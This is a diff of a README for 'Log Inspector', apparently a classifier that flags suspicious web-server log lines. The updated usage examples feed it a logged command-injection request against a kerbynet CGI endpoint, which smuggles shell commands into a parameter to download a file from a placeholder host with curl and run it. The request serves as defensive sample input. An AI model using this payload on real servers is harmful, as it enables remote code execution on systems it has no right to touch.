Update README.md
Browse files
README.md
CHANGED
|
@@ -1,6 +1,7 @@
|
|
| 1 |
---
|
| 2 |
language: en
|
| 3 |
license: apache-2.0
|
|
|
|
| 4 |
---
|
| 5 |
# Log Inspector
|
| 6 |
|
|
@@ -15,7 +16,7 @@ Given text must be parsed as like:
|
|
| 15 |
```python
|
| 16 |
>>> from transformers import pipeline
|
| 17 |
>>> inspector = pipeline('text-classification', model="u-haru/log-inspector")
|
| 18 |
-
>>> inspector('path: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*";cd /tmp;curl -O http://
|
| 19 |
[{'label': 'LABEL_0', 'score': 0.9999788999557495}]
|
| 20 |
```
|
| 21 |
class 0 is a suspicious log. class 1 is a safe log.
|
|
@@ -24,7 +25,7 @@ With simpletransformer:
|
|
| 24 |
```python
|
| 25 |
>>> from simpletransformers.classification import ClassificationModel
|
| 26 |
>>> model = ClassificationModel('bert', "u-haru/log-inspector", num_labels=2, use_cuda=(use_cuda and torch.cuda.is_available()), args=param)
|
| 27 |
-
>>> predictions, raw_outputs = model.predict(['path: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*";cd /tmp;curl -O http://
|
| 28 |
>>> print(predictions)
|
| 29 |
[0]
|
| 30 |
```
|
|
|
|
| 1 |
---
|
| 2 |
language: en
|
| 3 |
license: apache-2.0
|
| 4 |
+
pipeline_tag: text-classification
|
| 5 |
---
|
| 6 |
# Log Inspector
|
| 7 |
|
|
|
|
| 16 |
```python
|
| 17 |
>>> from transformers import pipeline
|
| 18 |
>>> inspector = pipeline('text-classification', model="u-haru/log-inspector")
|
| 19 |
+
>>> inspector('path: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*";cd /tmp;curl -O http://O.O.O.O/zero;sh zero;"; ref:-; ua:-;')
|
| 20 |
[{'label': 'LABEL_0', 'score': 0.9999788999557495}]
|
| 21 |
```
|
| 22 |
class 0 is a suspicious log. class 1 is a safe log.
|
|
|
|
| 25 |
```python
|
| 26 |
>>> from simpletransformers.classification import ClassificationModel
|
| 27 |
>>> model = ClassificationModel('bert', "u-haru/log-inspector", num_labels=2, use_cuda=(use_cuda and torch.cuda.is_available()), args=param)
|
| 28 |
+
>>> predictions, raw_outputs = model.predict(['path: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*";cd /tmp;curl -O http://O.O.O.O/zero;sh zero;"; ref:-; ua:-;'])
|
| 29 |
>>> print(predictions)
|
| 30 |
[0]
|
| 31 |
```
|